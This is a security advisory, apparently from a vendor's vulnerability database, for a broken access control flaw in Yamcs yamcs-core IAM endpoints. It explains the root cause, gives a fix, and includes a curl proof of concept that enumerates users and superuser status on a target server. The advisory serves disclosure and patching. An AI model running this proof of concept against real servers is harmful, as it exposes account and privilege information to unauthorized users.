GHSA-p2rj-mrmc-9w29
MEDIUMGHSA-p2rj-mrmc-9w29 is a medium-severity (CVSS 4.3) CWE-862 vulnerability in org.yamcs:yamcs-core. 1 public exploit reference exists, so weaponization risk is real. O3 Security confirms whether GHSA-p2rj-mrmc-9w29 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Yamcs vulnerable to unauthorized user enumeration via IAM API endpoints
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-p2rj-mrmc-9w29.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-p2rj-mrmc-9w29 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 0 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
org.yamcs:yamcs-coreReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The IAM API endpoints (listUsers, getUser, listGroups, and getGroup) in yamcs-core do not enforce the required SystemPrivilege.ControlAccess check. As a result, any authenticated user (even those with low or no privileges) can enumerate all user accounts in the system, including their usernames, superuser status, and group memberships.
This constitutes a broken access control vulnerability (CWE-862) that leaks sensitive user information.
Root Cause
File: yamcs-core/src/main/java/org/yamcs/http/api/IamApi.java:125,180,357,372
listUsers(), getUser(), listGroups(), and getGroup() do not require SystemPrivilege.ControlAccess. Any authenticated user — regardless of privileges — can enumerate all users, their superuser status, and group memberships:
// listUsers — NO checkSystemPrivilege
public void listUsers(Context ctx, Empty request, ...) {
var sensitiveDetails = ctx.user.hasSystemPrivilege(SystemPrivilege.ControlAccess);
// sensitiveDetails=false for low-priv users, but name/superuser/active still exposed
for (User user : users) {
UserInfo userb = toUserInfo(user, sensitiveDetails, directory);
responseb.addUsers(userb);
}
}
Compare with properly protected endpoints:
// createUser — correctly protected
public void createUser(Context ctx, ...) {
ctx.checkSystemPrivilege(SystemPrivilege.ControlAccess); // present
Impact
Any authenticated user can:
- List all user accounts in the system
- Identify which accounts have superuser privileges
- Use this information to target privileged accounts
Proof of Concept
# Authenticate as any low-privilege user GET access_token
curl -s -X POST "http://localhost:8090/auth/token" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "grant_type=password&username=lowpriv&password=lowpriv123"
# Enumerate all users — no ControlAccess required
curl -s "http://TARGET:8090/api/users" \
-H "Authorization: Bearer $TOKEN" #paste access_token
Output (confirmed):
{
"users": [
{ "name": "admin", "superuser": true, "active": true },
{ "name": "operator", "superuser": true, "active": true },
{ "name": "lowpriv", "superuser": false, "active": true }
]
}
Fix
Add ControlAccess check to listUsers, getUser, listGroups, getGroup:
public void listUsers(Context ctx, Empty request, ...) {
ctx.checkSystemPrivilege(SystemPrivilege.ControlAccess); // ADD THIS
...
}
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| ☕Maven | org.yamcs:yamcs-core | all versions | 5.12.7 |
Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
YAMCS yamcs-core 5.12.7 - User Enumeration
by Daniel Miranda · May 30, 2026
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for org.yamcs:yamcs-core. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update org.yamcs:yamcs-core to 5.12.7 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-p2rj-mrmc-9w29 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-p2rj-mrmc-9w29 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-p2rj-mrmc-9w29. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-p2rj-mrmc-9w29 in your dependencies?
O3 detects GHSA-p2rj-mrmc-9w29 across Maven dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.